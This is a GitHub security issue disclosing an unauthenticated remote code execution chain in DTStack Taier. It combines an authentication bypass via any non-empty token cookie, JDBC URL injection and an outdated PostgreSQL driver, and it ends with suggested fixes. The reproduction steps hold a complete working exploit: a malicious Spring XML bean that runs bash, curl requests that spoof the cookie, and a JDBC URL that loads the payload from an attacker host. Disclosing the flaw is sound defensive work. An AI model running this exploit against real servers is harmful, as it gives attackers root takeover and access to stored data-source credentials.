Skip to content

[Security] Pre-Auth Remote Code Execution via Authentication Bypass + JDBC URL Injection #1194

@jackieya

Description

@jackieya

Summary

A critical vulnerability chain exists in DTStack Taier that allows an unauthenticated attacker to execute arbitrary commands on the server with root privileges. The attack requires only 3 HTTP requests and no credentials.

Affected Versions

All versions (confirmed on latest master branch and dtopensource/taier:latest Docker image)

Vulnerability Details

Root Cause 1: Authentication Bypass in LoginInterceptor

File: taier-data-develop/src/main/java/com/dtstack/taier/develop/interceptor/LoginInterceptor.java#L46-L48

The LoginInterceptor only checks whether the token cookie is blank, without verifying its signature, validity, or expiration:

String token = CookieUtil.getToken(request.getCookies());
if (StringUtils.isBlank(token)) {
    throw new TaierDefineException(ErrorCode.NOT_LOGIN);
}
return true;  // Any non-empty token value passes authentication!

An attacker can bypass all authentication by simply setting Cookie: token=anything.

Root Cause 2: JDBC URL Injection in Data Source Connection Test

File: taier-datasource/taier-datasource-plugin/taier-datasource-plugin-rdbms/src/main/java/com/dtstack/taier/datasource/plugin/rdbms/ConnFactory.java#L160

The testCon endpoint passes user-supplied JDBC URL directly to DriverManager.getConnection() without any sanitization:

return DriverManager.getConnection(rdbmsSourceDTO.getUrl(), PropertiesUtil.convertToProp(rdbmsSourceDTO));

Root Cause 3: Vulnerable PostgreSQL JDBC Driver (CVE-2022-21724 unfixed)

File: taier-datasource/taier-datasource-plugin/taier-datasource-plugin-postgresql/pom.xml#L21

<postgresql.version>42.2.2</postgresql.version>

PostgreSQL JDBC 42.2.2 does not have the asSubclass() type check introduced in 42.2.25/42.3.2 to fix CVE-2022-21724. The socketFactory parameter can instantiate arbitrary classes, including ClassPathXmlApplicationContext which loads remote XML to execute commands.

Attack Chain

Attacker (no credentials needed)
  → Set Cookie: token=x (bypass LoginInterceptor)
  → POST /taier/api/upload/component/addOrUpdateComponent (add SFTP component config)
  → POST /taier/api/dataSource/addDs/testCon (inject malicious PostgreSQL JDBC URL)
    → socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext
    → socketFactoryArg=http://attacker/evil.xml
      → ClassPathXmlApplicationContext loads remote XML
        → ProcessBuilder executes arbitrary command as root
  → POST /taier/api/component/delete?componentId=X (cleanup)

Steps to Reproduce

1. Deploy Taier using official Docker image

git clone https://github.com/DTStack/Taier.git
cd Taier
docker-compose up -d

2. Start attacker HTTP server (in same Docker network)

# Create evil.xml
cat > evil.xml << 'EOF'
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
   xsi:schemaLocation="http://www.springframework.org/schema/beans
   http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
            <list>
                <value>bash</value>
                <value>-c</value>
                <value>id > /tmp/pwned.txt</value>
            </list>
        </constructor-arg>
    </bean>
</beans>
EOF

docker run -d --name taier-attacker --network taier_default \
  -v $(pwd)/evil.xml:/srv/evil.xml -w /srv python:3.11-slim python -m http.server 8080

# Get attacker container IP
ATTACKER_IP=$(docker inspect taier-attacker --format '{{.NetworkSettings.Networks.taier_default.IPAddress}}')
echo "Attacker IP: $ATTACKER_IP"

3. Exploit

# Step 1: Verify auth bypass
curl -s -X POST http://localhost:8090/taier/api/dataSource/addDs/queryDsClassifyList \
  -H "Content-Type: application/json" \
  -H "Cookie: token=bypass;userId=1;tenantId=1" \
  -d '{}'
# Returns data (code=1) proving authentication is bypassed

# Step 2: Add SFTP component
curl -s -X POST http://localhost:8090/taier/api/upload/component/addOrUpdateComponent \
  -H "Cookie: token=bypass;userId=1;tenantId=1" \
  -F "resources1=;filename=" \
  -F "resources2=;filename=" \
  -F "clusterId=-1" \
  -F "componentConfig={\"host\":\"$ATTACKER_IP\",\"port\":\"22\",\"username\":\"root\",\"password\":\"root\",\"path\":\"/tmp\"}" \
  -F "versionName=" \
  -F "kerberosFileName=" \
  -F "componentCode=6" \
  -F "principals=" \
  -F "principal=" \
  -F "isMetadata=false" \
  -F "isDefault=true" \
  -F "deployType=0"

# Step 3: Trigger RCE
curl -s -X POST http://localhost:8090/taier/api/dataSource/addDs/testCon \
  -H "Content-Type: application/json" \
  -H "Cookie: token=bypass;userId=1;tenantId=1" \
  -d "{\"dataType\":\"PostgreSQL\",\"dataVersion\":\"\",\"dataName\":\"rce\",\"dataDesc\":\"\",\"dataJsonString\":\"{\\\"jdbcUrl\\\":\\\"jdbc:postgresql://$ATTACKER_IP:8080/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://$ATTACKER_IP:8080/evil.xml\\\",\\\"username\\\":\\\"test\\\",\\\"password\\\":\\\"test\\\"}\"}"

4. Verify RCE

docker exec taier cat /tmp/pwned.txt
# Output: uid=0(root) gid=0(root) groups=0(root)

Impact

  • Unauthenticated Remote Code Execution as root
  • Complete server takeover
  • Access to all data sources credentials stored in the platform
  • Lateral movement to connected databases and big data clusters

Suggested Fix

  1. LoginInterceptor: Validate the JWT token signature using TokenService.decryption() instead of only checking if it's blank
  2. ConnFactory: Implement a whitelist/blocklist for dangerous JDBC URL parameters (socketFactory, socketFactoryArg, autoDeserialize, allowLoadLocalInfile, etc.)
  3. PostgreSQL JDBC: Upgrade from 42.2.2 to >= 42.2.25 to get CVE-2022-21724 fix

Metadata

Metadata

Assignees

No one assigned

    Labels

    Improveimprove on feature or function

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions